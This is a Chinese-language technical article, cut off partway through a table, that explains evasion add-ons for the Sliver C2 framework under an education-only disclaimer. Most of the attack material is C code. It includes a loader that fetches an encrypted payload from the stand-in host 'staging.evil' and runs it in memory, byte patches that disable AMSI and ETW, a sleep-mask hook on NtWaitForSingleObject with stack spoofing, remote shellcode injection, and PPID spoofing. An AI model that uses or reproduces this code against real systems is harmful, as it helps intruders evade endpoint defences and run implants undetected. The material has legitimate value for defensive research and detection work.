免责声明
本文档仅供网络安全技术研究与教育目的使用,严禁用于任何未经授权的系统访问或攻击活动。文中所有技术分析基于已公开的安全研究和开源项目,旨在帮助安全从业者理解和防御C2框架的规避技术。
一、Sliver C2框架架构概述
Sliver是由BishopFox开发的一款开源、跨平台的Command & Control(C2)框架,采用Go语言编写。与闭源的Cobalt Strike相比,Sliver凭借其开源属性、动态编译的植入体以及对WireGuard等现代传输协议的原生支持,在红队社区中迅速获得了大量拥趸。然而,Go运行时的特性也深刻影响了其规避技术的实现路径——这一点将在后文反复出现。
1.1 核心组件
| 组件 | 说明 | 对应CS概念 |
|---|---|---|
| Implant | 植入目标系统的代理程序,Go编译的原生二进制 | Beacon |
| Beacon | 异步通信模式的Implant,支持Jitter睡眠 | Beacon (异步) |
| Session | 实时交互模式的Implant,持久连接 | Beacon (交互) |
| Server | C2服务器,管理Implant、监听器、操作员 | Team Server |
| Operator CLI | 操作员命令行界面,支持多操作员协作 | Aggressor/Client |
| Transport | 通信传输层:mTLS/HTTP(S)/DNS/WireGuard | Listener |
1.2 通信协议矩阵
┌────────────────────────────────────────────────────────────────┐
│ Sliver C2 通信协议架构 │
├────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────────┐ │
│ │ Operator CLI │──── gRPC ────┐ │
│ └──────────────┘ │ │
│ ┌─────┴──────┐ │
│ │ Server │ │
│ │ (Go binary)│ │
│ └─────┬──────┘ │
│ ┌────────────────┼────────────────┐ │
│ │ │ │ │
│ ┌──────┴──────┐ ┌──────┴──────┐ ┌───────┴─────┐ │
│ │ mTLS │ │ HTTP(S) │ │ DNS │ │
│ │ (双向认证) │ │ (轮询/C2) │ │ (隧道) │ │
│ └─────────────┘ └─────────────┘ └─────────────┘ │
│ │
│ ┌─────────────────────────────────────────┐ │
│ │ WireGuard (UDP) │ │
│ │ 现代加密隧道,NAT穿透,低延迟 │ │
│ └─────────────────────────────────────────┘ │
│ │
└────────────────────────────────────────────────────────────────┘
1.3 Go运行时特性对规避的深远影响
这是理解Sliver与Cobalt Strike在规避技术上分道扬镳的关键起点:
1. 不调用kernel32!Sleep
Go运行时的调度器(GMP模型)在实现goroutine休眠时,并不会走Win32 API的kernel32!Sleep,而是直接通过syscall调用ntdll!NtWaitForSingleObject。这意味着:
- 那些Hook
kernel32!Sleep的EDR扫描策略对Sliver完全失效 - Sleep Mask必须hook到NT层(
NtWaitForSingleObject)才能拦截睡眠行为
2. 无内置BEACON_SLEEP_MASK回调
Cobalt Strike通过BEACON_SLEEP_MASK这一Aggressor Script回调,允许用户在Beacon睡眠前/唤醒后执行自定义的内存混淆逻辑。Sliver没有等价的内置机制,必须通过外部Kit以inline hook的方式注入睡眠混淆逻辑。这一架构差异直接催生了独立的Sleep Mask Kit项目。
3. Go调度器的10ms抢占
Go运行时每隔约10ms会发起一次抢占式调度(基于sysmon监控线程),任何长时间运行的goroutine都会被强制让出CPU。这使得在Go二进制中进行IAT hook极其危险——调度器可能在hook状态不一致时切换goroutine,导致内存损坏。
二、SliverC2-Evasion-Suite 四大Kit总览
SliverC2-Evasion-Suite是社区围绕Sliver构建的模块化规避插件集合,采用Kit化设计——每个Kit独立解决一个规避问题,通过Sliver的extension机制以tarball形式加载。
2.1 四大Kit总览对比表
| Kit名称 | 解决问题 | CS对应物 | 输出产物 | 实现语言 |
|---|---|---|---|---|
| Loader Kit | 内存执行shellcode/.NET程序集,绕过AMSI/WLDP | Artifact Kit / .NET Loader | C源码Loader EXE | C |
| Sleep Mask Kit | Implant睡眠时加密内存,规避扫描窗口扫描 | Sleep Mask Kit (Aggressor) | MaskKit(C PIC) + SleepKit(Go) | C + Go |
| Crystal Palace Kit | 生成无IAT的PIC shellcode,绕过静态分析 | Artifact Kit (PIC模式) | 纯PIC shellcode + DFR链接器 | C (PIC) |
| Inject Kit | 进程注入与PPID伪造,隐蔽执行 | Process Inject Kit | C注入器 + PPID伪造逻辑 | C |
2.2 插件加载机制:Extension Tarball
Sliver的extension系统通过tarball(.tar)打包Kit产物,在编译时注入到Implant二进制中:
┌─────────────────────────────────────────────────────────┐
│ Extension Tarball 加载流程 │
├─────────────────────────────────────────────────────────┤
│ │
│ [1] Kit开发者编译 │
│ loader.c ──► 编译 ──► loader.x64.bin (shellcode) │
│ manifest.json (定义命令名、参数、入口) │
│ │
│ [2] 打包为tarball │
│ ┌──────────────────────┐ │
│ │ extension.tar │ │
│ │ ├─ manifest.json │ │
│ │ ├─ loader.x64.bin │ │
│ │ └─ loader.x86.bin │ │
│ └──────────────────────┘ │
│ │
│ [3] Operator加载: sliver > extensions load ./ext.tar │
│ └─► 注册为implant命令 (如 load-assembly) │
│ │
│ [4] Implant编译时: extension内嵌到二进制 │
│ └─► 运行时从内存加载执行,不落盘 │
│ │
└─────────────────────────────────────────────────────────┘
这种设计使得红队可以按需组合Kit,形成定制化的规避能力栈——这也是"模块化规避"的核心思想。
三、Loader Kit — 内存执行与AMSI/WLDP绕过
Loader Kit的目标是在目标内存中执行shellcode或.NET程序集,同时绕过AMSI(反恶意软件扫描接口)和WLDP(Windows锁策略)这两道防线。
3.1 构建流水线
Loader Kit的构建流水线融合了多个经典工具的能力:
┌────────────────────────────────────────────────────────────────┐
│ Loader Kit 构建流水线 │
├────────────────────────────────────────────────────────────────┤
│ │
│ [输入] .NET程序集 / Sliver shellcode │
│ │ │
│ ▼ │
│ ┌──────────────────┐ │
│ │ Donut 转换 │ ── .NET → 位置无关shellcode │
│ │ bypass=3 │ ── bypass=3: 启用AMSI+WLDP补丁 │
│ └────────┬─────────┘ │
│ │ │
│ ▼ │
│ ┌──────────────────┐ │
│ │ 字符串加密 │ ── Chaskey-CTR 加密敏感字符串 │
│ │ (Chaskey-CTR) │ ── 防止字符串被静态提取 │
│ └────────┬─────────┘ │
│ │ │
│ ▼ │
│ ┌──────────────────┐ │
│ │ XOR加密载荷 │ ── 单字节XOR加密最终shellcode │
│ └────────┬─────────┘ │
│ │ │
│ ▼ │
│ ┌──────────────────┐ │
│ │ 一次性HTTPS服务 │ ── Loader从HTTPS拉取加密载荷 │
│ │ (staging server) │ ── 拉取后立即销毁 │
│ └──────────────────┘ │
│ │
└────────────────────────────────────────────────────────────────┘
3.2 目标端执行链(C代码级)
Loader在目标端的执行链完全基于NT API,避免使用容易被Hook的Win32高层API:
// === Loader Kit 执行链 (C伪代码) ===
// 1. WinHTTP下载加密载荷
HINTERNET hSession = WinHttpOpen(L"Mozilla/5.0",
WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY, NULL, NULL, 0);
HINTERNET hConnect = WinHttpConnect(hSession, L"staging.evil",
INTERNET_DEFAULT_HTTPS_PORT, 0);
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", L"/s",
NULL, NULL, NULL, WINHTTP_FLAG_SECURE);
// 2. XOR解密
for (size_t i = 0; i < payloadSize; i++) {
decrypted[i] = encrypted[i] ^ xorKey;
}
// 3. 分配可执行内存 (NT API)
HANDLE hProcess = NtCurrentProcess();
PVOID baseAddress = NULL;
SIZE_T regionSize = decryptedSize;
NtAllocateVirtualMemory(hProcess, &baseAddress, 0,
®ionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 4. 写入shellcode
memcpy(baseAddress, decrypted, decryptedSize);
// 5. 改为可执行权限 (避免PAGE_EXECUTE_READWRITE)
ULONG oldProtect;
NtProtectVirtualMemory(hProcess, &baseAddress, ®ionSize,
PAGE_EXECUTE_READ, &oldProtect); // 注意: RX 而非 RWX
// 6. 创建管道捕获输出
HANDLE hReadPipe, hWritePipe;
CreatePipe(&hReadPipe, &hWritePipe, NULL, 0);
// 7. 创建线程执行
HANDLE hThread;
NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess,
(PTHREAD_START_ROUTINE)baseAddress, hWritePipe,
FALSE, 0, 0, 0, NULL);
// 8. 读取执行输出
DWORD bytesRead;
char output[4096];
ReadFile(hReadPipe, output, sizeof(output), &bytesRead, NULL);
对于.NET程序集的执行,Loader Kit的链路更为复杂,需要手动托管CLR:
// === .NET 程序集执行链 ===
// 1. 启动CLR
ICLRRuntimeHost* pClrHost;
CorBindToRuntimeEx(NULL, L"wks", 0,
&CLSID_CLRRuntimeHost, &IID_ICLRRuntimeHost, (void**)&pClrHost);
pClrHost->Start();
// 2. AMSI补丁 (在CLR加载后)
PatchAmsi(); // 见 3.3
// 3. WLDP补丁
PatchWldp(); // 见 3.3 补充
// 4. 创建AppDomain并加载程序集
IUnknown* pAppDomainSetup;
pClrHost->GetAppDomainManager()->CreateDomain(L"Evil", NULL, &pAppDomainSetup);
// 5. AppDomain.Load(assemblyBytes)
AppDomain->Load_3(assemblyBytes, &assemblyHandle);
3.3 AMSI绕过原理
AMSI绕过的核心是补丁amsi.dll!AmsiScanBuffer函数的前三个字节,使其直接返回AMSI_RESULT_CLEAN(0):
┌─────────────────────────────────────────────────────────────┐
│ AMSI 绕过原理 │
├─────────────────────────────────────────────────────────────┤
│ │
│ 补丁前: AmsiScanBuffer 函数序言 │
│ ┌──────────────────────────────────────────┐ │
│ │ mov rdx, rcx ; 0x48 0x8B 0xD1 │ │
│ │ mov r8, rdx ; 0x4C 0x8B 0xCA │ │
│ │ mov rdx, [rcx+8] ; ... │ │
│ └──────────────────────────────────────────┘ │
│ │
│ 补丁后: 直接返回0 (AMSI_RESULT_CLEAN) │
│ ┌──────────────────────────────────────────┐ │
│ │ xor eax, eax ; 0x33 0xC0 │ ← 清零返回值 │
│ │ ret ; 0xC3 │ ← 直接返回 │
│ │ (后续字节保持不变) │ │
│ └──────────────────────────────────────────┘ │
│ │
│ 效果: 任何经过AmsiScanBuffer的扫描都返回"干净" │
│ │
└─────────────────────────────────────────────────────────────┘
// AMSI补丁实现
BOOL PatchAmsi() {
HMODULE hAmsi = LoadLibraryA("amsi.dll");
PVOID amsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
// 补丁字节: xor eax,eax; ret
BYTE patch[] = { 0x33, 0xC0, 0xC3 };
DWORD oldProtect;
VirtualProtect(amsiScanBuffer, 3, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(amsiScanBuffer, patch, 3);
VirtualProtect(amsiScanBuffer, 3, oldProtect, &oldProtect);
return TRUE;
}
3.4 ETW绕过原理
ETW(Event Tracing for Windows)是EDR依赖的另一个重要遥测源。Loader Kit通过补丁ntdll!EtwEventWrite,将其首字节替换为ret(0xC3),使所有ETW事件写入操作静默失败:
// ETW绕过: EtwEventWrite → ret
BOOL PatchEtw() {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
PVOID etwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");
// 补丁字节: ret
BYTE patch[] = { 0xC3 };
DWORD oldProtect;
VirtualProtect(etwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(etwEventWrite, patch, 1);
VirtualProtect(etwEventWrite, 1, oldProtect, &oldProtect);
return TRUE;
}
注意:ETW补丁存在一个微妙的问题——如果EDR在Loader之前已注册了ETW provider的回调,单纯的EtwEventWrite补丁可能不足以完全消除遥测。一些进阶实现会同时补丁EtwNotificationRegister和NtTraceEvent。
四、Sleep Mask Kit — 内存扫描规避(核心技术)
Sleep Mask是整个Evasion Suite中技术含量最高、最值得深入剖析的组件。其核心目标是:在Implant睡眠期间,将内存中的可执行代码和配置数据加密,使EDR的内存扫描在"扫描窗口"内只能看到无意义的密文。
4.1 扫描窗口问题
Implant的生命周期可以划分为"运行中"和"睡眠中"两个交替的状态。EDR只能在Implant睡眠时进行内存扫描——因为运行中扫描会触发缺页异常、影响性能,且Implant可能正在执行关键操作。这个睡眠期就是"扫描窗口"。
┌──────────────────────────────────────────────────────────────────┐
│ 扫描窗口时间线 │
├──────────────────────────────────────────────────────────────────┤
│ │
│ 时间 ──────────────────────────────────────────────────────► │
│ │
│ 状态: [运行中] [══ 睡眠中 (扫描窗口) ══] [运行中] [睡眠] │
│ │ │ │ │
│ 内存: 明文可执行 ████加密密文████ 明文可执行 │
│ (代码可见) (代码不可见) (代码可见) │
│ │ │ │ │
│ EDR: 无法扫描 ★ 可在此扫描 ★ 无法扫描 │
│ (Implant活跃) (Implant休眠) (Implant活跃) │
│ │
│ 关键: Sleep Mask的目标 = 让扫描窗口内的内存内容变为密文 │
│ │
└──────────────────────────────────────────────────────────────────┘
EDR四种扫描策略:
| 扫描策略 | 触发时机 | Sliver对抗方式 |
|---|---|---|
| 定期全量扫描 | 固定间隔(如每5分钟) | Sleep Mask加密 |
| 行为触发扫描 | 可疑API调用后 | 避免触发可疑API |
| 回调式扫描 | 进程创建/模块加载时 | 延迟注入 |
| Unhook后扫描 | 检测Hook被移除 | 避免patch ntdll |
4.2 MaskKit — 纯C原始Shellcode实现
MaskKit是Sleep Mask Kit的核心组件,它以纯C编写的位置无关代码(PIC)形式存在,负责在Implant进入睡眠前加密自身内存,并在唤醒后解密。
Payload布局
┌─────────────────────────────────────────────────────────────────┐
│ MaskKit Payload 内存布局 │
├─────────────────────────────────────────────────────────────────┤
│ 偏移 内容 说明 │
│─────────────────────────────────────────────────────────────────│
│ 0x0000 ┌─────────────────────┐ │
│ │ MASKER SHELLCODE │ ← PIC入口, 负责hook+加密 │
│ │ (位置无关代码) │ 约2-4KB │
│ 0x0800 ├─────────────────────┤ │
│ │ MAGIC (8 bytes) │ ← "MASKKIT1" 标识符 │
│ 0x0808 ├─────────────────────┤ │
│ │ CONFIG │ ← 配置区(睡眠时长/掩码策略) │
│ 0x0840 ├─────────────────────┤ │
│ │ XOR KEY (32 bytes) │ ← 加密密钥 │
│ 0x0860 ├─────────────────────┤ │
│ │ │ │
│ │ 加密的SHELLCODE │ ← 被加密的implant主体代码 │
│ │ (Implant代码段) │ 睡眠时为密文 │
│ │ │ 唤醒时解密为明文 │
│ └─────────────────────┘ │
└─────────────────────────────────────────────────────────────────┘
PIC自定位技巧
PIC代码必须能够在不知道自身加载地址的情况下定位数据。MaskKit使用经典的call + pop技巧获取RIP:
; === PIC自定位 (x64汇编) ===
; 利用call指令会将返回地址压栈的特性获取当前RIP
get_rip:
call delta ; call下一条指令
delta:
pop rax ; rax = delta的地址 (即当前RIP)
sub rax, 5 ; 减去call指令长度(5字节), 得到get_rip地址
; 现在rax是代码基址, 可以相对寻址CONFIG/MAGIC等数据
; 例如: CONFIG地址 = rax + (CONFIG偏移 - get_rip偏移)
lea rcx, [rax + (config_offset - delta_offset)]
; 读取配置
mov edx, [rcx + CONFIG_SLEEP_DURATION] ; 睡眠时长
ROR13 PEB遍历API解析
PIC shellcode无法使用IAT,必须自行通过PEB(Process Environment Block)遍历已加载模块,并按函数名哈希查找API。MaskKit使用ROR13哈希算法:
// === ROR13 哈希算法 ===
DWORD ror13_hash(const char* str) {
DWORD hash = 0;
while (*str) {
hash = (hash >> 13) | (hash << 19); // 循环右移13位
hash += *str;
str++;
}
return hash;
}
// 常见API的ROR13哈希值:
// ntdll.dll!NtWaitForSingleObject → 0xC4D3B81F (示例)
// kernel32.dll!LoadLibraryA → 0x726774C
// kernel32.dll!GetProcAddress → 0x7802F749
// === PEB遍历解析API ===
PVOID ResolveApi(DWORD moduleHash, DWORD funcHash) {
// 1. 通过TEB→PEB获取已加载模块链表
PPEB peb = (PPEB)__readgsqword(0x60);
PPEB_LDR_DATA ldr = peb->Ldr;
PLIST_ENTRY head = &ldr->InMemoryOrderModuleList;
PLIST_ENTRY curr = head->Flink;
// 2. 遍历模块, 匹配模块哈希
while (curr != head) {
PLDR_DATA_TABLE_ENTRY entry = CONTAINING_RECORD(curr,
LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
if (ror13_hash_w(entry->BaseDllName.Buffer) == moduleHash) {
// 3. 遍历导出表, 匹配函数哈希
PIMAGE_EXPORT_DIRECTORY exports = (PIMAGE_EXPORT_DIRECTORY)
(entry->DllBase + ...); // 解析PE导出表
for (DWORD i = 0; i < exports->NumberOfNames; i++) {
char* funcName = (char*)(entry->DllBase +
nameRvas[ordinalTable[i]]);
if (ror13_hash(funcName) == funcHash) {
return (PVOID)(entry->DllBase +
funcRvas[ordinalTable[i]]);
}
}
}
curr = curr->Flink;
}
return NULL;
}
内联Hook机制
MaskKit的核心是hook ntdll!NtWaitForSingleObject——这是Go运行时睡眠时调用的NT函数。hook采用inline trampoline方式,覆写函数前12字节为跳转到MaskKit代码的跳板:
┌──────────────────────────────────────────────────────────────┐
│ NtWaitForSingleObject Inline Hook │
├──────────────────────────────────────────────────────────────┤
│ │
│ 补丁前 (ntdll!NtWaitForSingleObject): │
│ ┌────────────────────────────────────────────┐ │
│ │ mov r10, rcx ; 0x4C 0x8B 0xD1 │ ← syscall序言│
│ │ mov eax, 0x04 ; syscall number │ │
│ │ syscall │ │
│ │ ret │ │
│ └────────────────────────────────────────────┘ │
│ │
│ 补丁后 (12字节JMP跳板): │
│ ┌────────────────────────────────────────────┐ │
│ │ mov rax, MaskKit_addr ; 0x48 0xB8 ... │ ← 10字节 │
│ │ jmp rax ; 0xFF 0xE0 │ ← 2字节 │
│ │ (共12字节覆写原始序言) │ │
│ └────────────────────────────────────────────┘ │
│ │
│ 执行流: NtWaitForSingleObject → JMP → MaskKit代码 │
│ → [加密内存] → 调用原始NtWaitForSingleObject │
│ → [睡眠] → 返回 → [解密内存] → 返回调用者 │
│ │
└──────────────────────────────────────────────────────────────┘
Hook决策逻辑
并非每次NtWaitForSingleObject调用都需要mask——短暂的等待(如锁竞争)不需要加密。MaskKit通过检查等待时长参数来过滤:
// === Hook决策逻辑 (C伪代码) ===
NTSTATUS HookedNtWaitForSingleObject(
HANDLE Handle,
ALERTABLE Alertable,
PLARGE_INTEGER Timeout)
{
// 1. 检查是否有超时参数
if (Timeout == NULL) {
// 无限等待, 不mask (可能是关键锁)
return OriginalNtWaitForSingleObject(Handle, Alertable, Timeout);
}
// 2. 将100ns单位转换为毫秒
LARGE_INTEGER timeout = *Timeout;
if (timeout.QuadPart < 0) {
// 负值 = 相对超时
ULONGLONG waitMs = (-timeout.QuadPart) / 10000;
// 3. 决策: ≥5秒才执行mask
if (waitMs >= 5000) {
// ★ 进入Sleep Mask流程 ★
EncryptMemoryRegion(implantBase, implantSize, xorKey);
NTSTATUS status = OriginalNtWaitForSingleObject(
Handle, Alertable, Timeout);
// 唤醒后解密
DecryptMemoryRegion(implantBase, implantSize, xorKey);
return status;
}
}
// 4. 短等待, 直接透传
return OriginalNtWaitForSingleObject(Handle, Alertable, Timeout);
}
栈伪造
为了让hook的返回栈帧看起来像正常的调用链(而非从trampoline跳转过来),MaskKit使用ntdll中的RET gadget替换返回地址:
// === 栈伪造 ===
// 找到ntdll中的 "ret" gadget (0xC3)
PVOID retGadget = FindRetGadget(ntdllBase);
// 在hook执行前, 伪造返回地址
// 使栈回溯看起来像: 调用者 → ntdll!ret → 正常返回
PVOID originalReturnAddr = *(PVOID*)_RSP;
*(PVOID*)_RSP = retGadget; // 替换为ret gadget
// ... 执行mask逻辑 ...
// 恢复
*(PVOID*)_RSP = originalReturnAddr;
4.3 SleepKit — Go EXE实现
SleepKit是MaskKit的Go语言对应物,用于Sliver编译为Go EXE的场景。它需要处理Go运行时特有的两条睡眠路径:
| 路径 | 触发条件 | 睡眠函数 | Hook可行性 |
|---|---|---|---|
| 路径1 | kernel32!Sleep 调用 |
kernel32!Sleep → ntdll!NtDelayExecution |
可hook kernel32层 |
| 路径2 | Go运行时直接syscall | runtime·usleep → ntdll!NtWaitForSingleObject |
必须hook NT层 |
// === SleepKit Go实现 (伪代码) ===
package sleepkit
/*
#include "maskkit.h"
*/
import "C"
import (
"unsafe"
"syscall"
)
var (
ntdll = syscall.NewLazyDLL("ntdll.dll")
ntWaitForSingleObject = ntdll.NewProc("NtWaitForSingleObject")
// XOR密钥和配置
xorKey [32]byte
implBase uintptr
implSize uintptr
isMasked bool
)
// HookNtWaitForSingleObject 安装inline hook
func HookNtWaitForSingleObject() {
origFunc := ntWaitForSingleObject.Addr()
// 调用C代码安装12字节JMP跳板
C.install_hook(unsafe.Pointer(origFunc), unsafe.Pointer(C.hooked_handler))
}
//export hooked_handler
func hooked_handler(handle syscall.Handle, alertable bool,
timeout *syscall.LazyTimer) uintptr {
// 决策: 等待时长 >= 5秒才mask
waitMs := timeoutToMs(timeout)
if waitMs < 5000 {
// 短等待, 透传
return callOriginal(handle, alertable, timeout)
}
// ===== Sleep Mask 循环 =====
// 1. 加密内存
encryptRegion(implBase, implSize, &xorKey)
isMasked = true
// 2. 调用原始睡眠函数
status := callOriginal(handle, alertable, timeout)
// 3. 唤醒后解密
decryptRegion(implBase, implSize, &xorKey)
isMasked = false
return status
}
4.4 关键洞察
核心结论:Go运行时不调用
kernel32!Sleep,必须hook Nt级函数。
这是Sliver与Cobalt Strike在Sleep Mask实现上的根本差异。Cobalt Strike的Beacon是C/C++编写,睡眠时走kernel32!Sleep → ntdll!NtDelayExecution的标准路径,EDR只需Hook kernel32!Sleep即可捕获睡眠时机。
而Sliver的Go运行时调度器在实现goroutine休眠时,会直接发起NtWaitForSingleObject的syscall,绕过整个Win32 API层。这意味着:
- EDR在
kernel32!Sleep上设置的Hook对Sliver完全无效 - Sleep Mask必须hook到
ntdll!NtWaitForSingleObject这一NT层 - 如果EDR只Hook了Win32层,Sliver的睡眠行为根本不可见
五、Crystal Palace Kit — 无IAT的PIC Shellcode
Crystal Palace Kit解决的是另一个维度的规避问题:静态分析。编译后的Go二进制包含完整的IAT(Import Address Table),暴露了所有调用的API,是静态特征分析的重点目标。Crystal Palace生成无IAT的纯PIC(Position Independent Code)shellcode。
5.1 DFR动态函数解析系统
Crystal Palace的核心是DFR(Dynamic Function Resolution)系统——所有API调用在编译时被替换为"约定符号",运行时通过PEB遍历动态解析:
┌────────────────────────────────────────────────────────────────┐
│ DFR 动态函数解析五阶段 │
├────────────────────────────────────────────────────────────────┤
│ │
│ [阶段1] 源码编写 │
│ 源码中使用 MODULE$FUNCTION 约定符号: │
│ 例: ntdll$NtAllocateVirtualMemory(...) │
│ │
│ [阶段2] Spec指令 │
│ 链接器spec将 $ 符号转为DFR桩: │
│ ntdll$NtAllocateVirtualMemory → __dfr_ntdll_NtAllocate... │
│ │
│ [阶段3] 链接器解析 │
│ 生成DFR桩函数, 包含: │
│ - 模块哈希 (ntdll.dll的ROR13) │
│ - 函数哈希 (NtAllocateVirtualMemory的ROR13) │
│ │
│ [阶段4] 运行时PEB遍历 │
│ DFR桩执行时: │
│ TEB→PEB→Ldr→模块链表 → 匹配模块哈希 → │
│ 解析导出表 → 匹配函数哈希 → 返回函数地址 │
│ │
│ [阶段5] 调用 │
│ 通过函数指针调用真实API │
│ 整个过程不经过IAT │
│ │
└────────────────────────────────────────────────────────────────┘
5.2 PICO哈希表结构
Crystal Palace维护一个PICO(PIC Optimized)哈希表,缓存已解析的API地址,避免每次调用都遍历PEB:
// === PICO 哈希表结构 ===
typedef struct _PICO_HASH_ENTRY {
DWORD moduleHash; // 模块名ROR13哈希
DWORD funcHash; // 函数名ROR13哈希
PVOID funcAddress; // 解析后的函数地址 (运行时填充)
DWORD flags; // 调用约定标志
} PICO_HASH_ENTRY;
// 全局哈希表 (编译时生成, 运行时在首次调用时填充)
PICO_HASH_ENTRY picoHashTable[] = {
{ 0x6A4ABCDF, 0xC4D3B81F, NULL, 0 }, // ntdll$NtWaitForSingleObject
{ 0x6A4ABCDF, 0xA1B2C3D4, NULL, 0 }, // ntdll$NtAllocateVirtualMemory
{ 0x6B8D1E5F, 0x726774C, NULL, 0 }, // kernel32$LoadLibraryA
// ... 更多条目
};
// DFR桩: 首次调用时解析, 后续从缓存读取
PVOID ResolvePico(DWORD moduleHash, DWORD funcHash) {
for (int i = 0; i < ARRAY_SIZE(picoHashTable); i++) {
if (picoHashTable[i].moduleHash == moduleHash &&
picoHashTable[i].funcHash == funcHash) {
if (picoHashTable[i].funcAddress == NULL) {
// 首次调用, 执行PEB遍历解析
picoHashTable[i].funcAddress =
ResolveApi(moduleHash, funcHash);
}
return picoHashTable[i].funcAddress;
}
}
return NULL;
}
5.3 被禁用的技术(Go运行时限制)
Crystal Palace的某些规避技术在Go EXE场景下被主动禁用,根因是Go运行时的特殊行为:
| 技术 | 文件 | 禁用原因 |
|---|---|---|
| IAT Hooks | hooks.c |
Go调度器每~10ms发起抢占,goroutine可能在IAT hook状态不一致时切换,导致崩溃 |
| Memory Mask | mask.c |
Go运行时在XOR加密内存期间仍可能调度其他goroutine到同一内存区域执行,触发解密前访问→崩溃 |
| Stack Spoofing | spoof.c |
Go运行时自行管理栈(连续栈/分段栈),伪造返回地址会破坏Go的栈展开器(unwinder)和垃圾回收器(GC) |
┌─────────────────────────────────────────────────────────────┐
│ Go运行时 vs 规避技术兼容性 │
├─────────────────────────────────────────────────────────────┤
│ │
│ 技术需求 Go运行时行为 结果 │
│ ──────────────── ────────────────── ────── │
│ IAT Hook需原子 10ms抢占调度 ✗ 状态损坏 │
│ Memory Mask需 goroutine并发 ✗ 加密中被访问 │
│ 独占访问 访问同区域 │
│ Stack Spoof需 Go自管理栈 ✗ unwinder/GC崩溃 │
│ 稳定栈布局 (连续栈增长) │
│ │
│ 结论: Go运行时的"自主性"限制了多种规避技术 │
│ 这是Sliver规避能力的固有短板 │
│ │
└─────────────────────────────────────────────────────────────┘
这正是Crystal Palace Kit在Go场景下只能实现DFR和PIC化,而无法使用更激进内存操作的原因。
六、Inject Kit — 进程注入与PPID伪造
Inject Kit负责将Sliver的shellcode注入到其他进程中执行,并提供PPID(父进程ID)伪造能力,以躲避基于父子进程关系的检测规则。
6.1 注入执行链(C代码级)
注入链全程使用NT API,避免Win32层Hook:
// === Inject Kit 注入执行链 (C伪代码) ===
// 1. 打开目标进程
HANDLE hProcess;
OBJECT_ATTRIBUTES objAttr;
CLIENT_ID clientId = { targetPid, 0 };
InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL);
NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &objAttr, &clientId);
// 2. 在目标进程分配内存
PVOID remoteBase = NULL;
SIZE_T regionSize = shellcodeSize;
NtAllocateVirtualMemory(hProcess, &remoteBase, 0, ®ionSize,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 3. 写入shellcode
NtWriteVirtualMemory(hProcess, remoteBase,
shellcode, shellcodeSize, NULL);
// 4. 修改为可执行权限 (RW → RX, 避免RWX)
ULONG oldProtect;
NtProtectVirtualMemory(hProcess, &remoteBase, ®ionSize,
PAGE_EXECUTE_READ, &oldProtect);
// 5. 创建远程线程执行
HANDLE hThread;
NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess,
(PTHREAD_START_ROUTINE)remoteBase, NULL,
FALSE, 0, 0, 0, NULL);
// 6. 等待执行完成 (可选)
NtWaitForSingleObject(hThread, FALSE, NULL);
6.2 PPID伪造核心代码
PPID伪造使新创建的进程看起来是由指定的"合法"父进程启动的,而非由Sliver Implant启动。这对于绕过基于父进程关系的检测(如"sihost.exe不应由cmd.exe启动")至关重要:
// === PPID伪造核心代码 ===
BOOL CreateProcessWithPpid(
LPCWSTR exePath, // 要启动的EXE路径
DWORD parentPid, // 伪造的父进程PID
LPSTARTUPINFOW psi) // 启动信息
{
// 1. 打开伪造的父进程
// 需要 PROCESS_CREATE_PROCESS 权限
HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, parentPid);
if (!hParent) return FALSE;
// 2. 计算属性列表大小
SIZE_T attrListSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrListSize);
// 3. 分配并初始化属性列表
LPPROC_THREAD_ATTRIBUTE_LIST pAttrList =
(LPPROC_THREAD_ATTRIBUTE_LIST)malloc(attrListSize);
InitializeProcThreadAttributeList(pAttrList, 1, 0, &attrListSize);
// 4. 设置 PARENT_PROCESS 属性
// 这是指定父进程的关键
UpdateProcThreadAttribute(
pAttrList,
0, // dwFlags
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, // 属性类型
&hParent, // 属性值 = 父进程句柄
sizeof(HANDLE), // 属性大小
NULL, NULL // 保留
);
// 5. 以挂起状态创建进程
STARTUPINFOEXW siex = { 0 };
siex.StartupInfo.cb = sizeof(STARTUPINFOEXW);
siex.lpAttributeList = pAttrList;
PROCESS_INFORMATION pi = { 0 };
CreateProcessW(
NULL,
(LPWSTR)exePath,
NULL, NULL,
FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED, // 挂起启动
NULL, NULL,
(LPSTARTUPINFOW)&siex,
&pi
);
// 6. 清理
DeleteProcThreadAttributeList(pAttrList);
free(pAttrList);
CloseHandle(hParent);
// 注入shellcode后 ResumeThread 恢复执行
// ...
return TRUE;
}
关键注意:PPID伪造不改变安全令牌。 伪造的父进程只影响进程树中的"父进程"显示,新进程的访问令牌(包含用户SID、权限、完整性级别)仍继承自调用者(Sliver Implant),而非伪造的父进程。如果攻击者需要同时伪造令牌,必须额外进行令牌窃取/模拟。
七、真实案例:15层规避技术栈
在实际红队行动中,攻击者不会只使用单一Kit,而是将多个工具链串联,构建多层规避技术栈。以下是一个真实的15层规避技术栈拆解。
7.1 自定义7项技术
攻击者在Sliver基础之上自定义实现的7项规避技术:
| # | 技术 | 实现细节 | 规避目标 |
|---|---|---|---|
| 1 | SysWhispers3 HalosGate间接syscall | 哈希种子0x9DEA8D94,通过HalosGate算法选择相邻SSN |
NT API Hook检测 |
| 2 | 调用栈伪造 | 伪造syscall返回栈帧,模拟合法调用链 | 栈回溯检测 |
| 3 | 进程幽灵化 | 进程镂空+镜像替换 | 内存特征扫描 |
| 4 | Heaven's Gate | 32位进程通过0x33段选择子切换到64位执行 | 32/64位Hook差异 |
